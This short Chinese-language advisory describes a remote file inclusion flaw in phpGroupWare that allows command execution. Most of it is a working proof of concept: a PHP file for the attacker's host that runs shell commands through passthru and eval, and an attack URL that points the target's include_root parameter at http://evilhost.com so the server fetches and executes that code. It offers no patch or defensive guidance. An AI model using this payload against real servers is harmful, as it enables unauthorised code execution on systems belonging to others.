phpGroupWare远程执行命令漏洞

攻击者可以在某个自己控制的主机上建立一个目录phpgwapi,并在下面创建一个 phpgw_info.inc.php文件，其内容如下： <?php // PHP code to be executed $phpcode = ' echo( Hi there!<BR> ); passthru( id ); '; // If we were called via remote include, send the code to be // executed if (substr($HTTP_SERVER_VARS[ HTTP_USER_AGENT ], 0, 3) == PHP ) echo( <?php $phpcode ?> ); else // Otherwise we're being executed on the target web server already, // so simply evaluate the code eval($phpcode); exit(); ?> 则调用下列命令可能发动攻击： http://target/phpgroupware/inc/phpgwapi/phpgw.inc.php?phpgw_info[server][include_root]= http://evilhost.com/~shaun